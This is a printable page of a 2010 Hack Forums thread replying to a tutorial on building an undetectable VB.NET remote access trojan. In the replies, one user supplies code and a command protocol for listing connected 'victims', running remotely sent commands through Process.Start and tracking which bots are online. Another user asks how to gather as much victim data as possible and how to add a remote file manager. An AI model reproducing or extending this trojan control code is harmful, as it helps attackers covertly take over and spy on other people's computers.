Hack Forums
[.NET] [TuT][VB.NET] How to make a basic FUD RAT [READ!] - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Tech (https://hackforums.net/forumdisplay.php?fid=444)
+--- Forum: Coding (https://hackforums.net/forumdisplay.php?fid=151)
+---- Forum: Software Development (https://hackforums.net/forumdisplay.php?fid=118)
+---- Thread: [.NET] [TuT][VB.NET] How to make a basic FUD RAT [READ!] (/showthread.php?tid=229243)

Pages: Pages 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23


* - S4NGOKU - Feb 6, 2010

OMGGG VERY NICE IL LIKEEEEE !!!!!


* - Learn4Life - Feb 23, 2010

Bump for this nice tutorial, that i funded on this section.
It works !!


* - --([-S7N-])-- - Feb 24, 2010

Bump, tutorial updated!


* - TheBlackMarket - Feb 24, 2010

This is a really nice Tutorial! Thanks Dude, Very Helpful!.


* - GerraT177 - Feb 24, 2010

Very Nicee! :D GOOD JOB!!!!


* - leetsg - Feb 24, 2010

Awesome, thanks for this. little difficult for me though :L


* - proisr - Feb 24, 2010

I gotta say - the best RAT-making guide I've ever seen!
Could you explain more about how can I add my own commands? I didn't understand the part with the split() and the id().


edit: How can I add each victim that opened my server to some kind of a list in my client, like Cybergate and all those other public RATs.
I thought about making my client as a little server 2, and the victim's server will try to connect me, and if he succeed he will add his IP+PCname+etc... to a ListBox in my client.


* - corey - Feb 24, 2010

(Feb 24, 2010 09:40 AM)proisr Wrote:  I gotta say - the best RAT-making guide I've ever seen!
Could you explain more about how can I add my own commands? I didn't understand the part with the split() and the id().


edit: How can I add each victim that opened my server to some kind of a list in my client, like Cybergate and all those other public RATs.
I thought about making my client as a little server 2, and the victim's server will try to connect me, and if he succeed he will add his IP+PCname+etc... to a ListBox in my client.

This can be done really easily. You will need a list view for your project. once you've added the list view & all the columns and stuff. add this code to Private Sub Check()
Code
If id(0) = 8 Then
Dim lvi As New ListViewItem
                    lvi.Text = id(1)
                    lvi.SubItems.Add(id(2))
                    lvi.SubItems.Add(id(3))
                    lvi.SubItems.Add(id(4))
                    ListView1.Items.Add(lvi)
End If
Then when your server connects. Have it send this code first.
Code
0*USER NAME*IP*Other string?*File Version (of assembly)
You can edit it to your liking. Then when you need to select a single user, Just do a username or ip check. like

Code
send this from server side'
8*username of selected client*Command you want done
and then on the client side, where the data is received and read, Make an if function to check the username, If the names match, run the command. if not. dispose of it.

Edit, this is a picture of it in action.
Spoiler (Click to View)


* - proisr - Feb 24, 2010

(Feb 24, 2010 11:04 AM)corey Wrote:  This can be done really easily. You will need a list view for your project. once you've added the list view & all the columns and stuff. add this code to Private Sub Check()
Code
If id(0) = 8 Then
Dim lvi As New ListViewItem
                    lvi.Text = id(1)
                    lvi.SubItems.Add(id(2))
                    lvi.SubItems.Add(id(3))
                    lvi.SubItems.Add(id(4))
                    ListView1.Items.Add(lvi)
End If
Then when your server connects. Have it send this code first.
Code
0*USER NAME*IP*Other string?*File Version (of assembly)
You can edit it to your liking. Then when you need to select a single user, Just do a username or ip check. like

Code
send this from server side'
8*username of selected client*Command you want done
and then on the client side, where the data is received and read, Make an if function to check the username, If the names match, run the command. if not. dispose of it.

Edit, this is a picture of it in action.
Spoiler (Click to View)

Wasn't so clear :\
What the id() means?
And more important- how can I add my own functions/commands to the server so when I'll call it from the client the server will do the command?

edit: I think you didn't understand me.
I want the server to notify my client when his online (in realtime, no with email/ftp).
So when the server is online he will be added to my victims list on my client, and when the server is down he will removed from the list.


* - Stile - Feb 24, 2010

Great Tutorial I will Try This ...


* - corey - Feb 24, 2010

(Feb 24, 2010 11:54 AM)proisr Wrote:  Wasn't so clear :\
What the id() means?
And more important- how can I add my own functions/commands to the server so when I'll call it from the client the server will do the command?

edit: I think you didn't understand me.
I want the server to notify my client when his online (in realtime, no with email/ftp).
So when the server is online he will be added to my victims list on my client, and when the server is down he will removed from the list.
Okay, let me explain it for you.
ID is like a flag, And if an id = a certain integer, It will raise special events.
The default function is for programs and sites
Code
If id(0) = 0 Then 'This is a flag, It is used to tell different commands from eachother
Dim stri As String = id(1) This is just taking the command and making it into a variable string
Process.Start(stri) 'This starts the process/site
End If
So if you were the manager of all the clients. And you wanted them all to mass visit your site (Say Google). you would send this string of data to all the clients.
Code
0*http://www.google.com
This will make every bot/Client/server/whatever open Google.com in the default web browser. so if it's FireFox (like mine). It will open Google.com in FireFox.
If you wanted to make your own command(s), Like I did in this image. Spoiler (Click to View)
you will need to add it to the server to pick up the id(Flag) and then what to do in the case of this flag.
Code
If id(0) = 1 Then
msgbox(id1)
End If
So to make a message box pop up, you would send this string to all your clients.
Code
1*MSGBOX text here!



Now for adding the clients to the list view, you need this.
Code
If id(0) = 2 Then
Dim lvi As New ListViewItem 'I've removed the sub items to make this more simple
                    lvi.Text = id(1)
                    ListView1.Items.Add(lvi)
End If
So, When the client starts, and connects, make it send this
Code
2*environment.username
This will make the list view control be populated by clients user names every time on connects.
As for removing a name, Make a ping-pong type command.
Make the server (thats you) send a command, like this
Code
3*pong
Then the client should reply like this
Code
If id(0) = 3 Then and id(1) = "pong" then 'I'm writing this outside VS, So it may error
dat(3*User name*PONG)
End If
So the server should then pickup the clients response of "3*username*PONG". And it should update the list view with all clients who responded.
This isn't very well worded. As i'm time constrained right now, have to go to the store to buy groceries. (lol)


* - Televisiontubies - Feb 24, 2010

Thank And good job i test this. (sorry i am french)


* - --([-S7N-])-- - Feb 25, 2010

Thanks to corey for explaining proisr.
Others, thanks for your feedback!


* - dnsm - Feb 25, 2010

Great TuT No0b! I'll try this out when I get home 😝


* - proisr - Feb 25, 2010

Thank you correy, I've understand how to add my own functions.
About the victims list- I think I'll ask some friend of mine for help making a data base for the server (he is a WEB programmer).
I want to get much info as possible from my victims and save it in nicely tables.

How can I send and receive files through my sclient/server?
Like a remote file manager (So I'll could Upload/Download files) .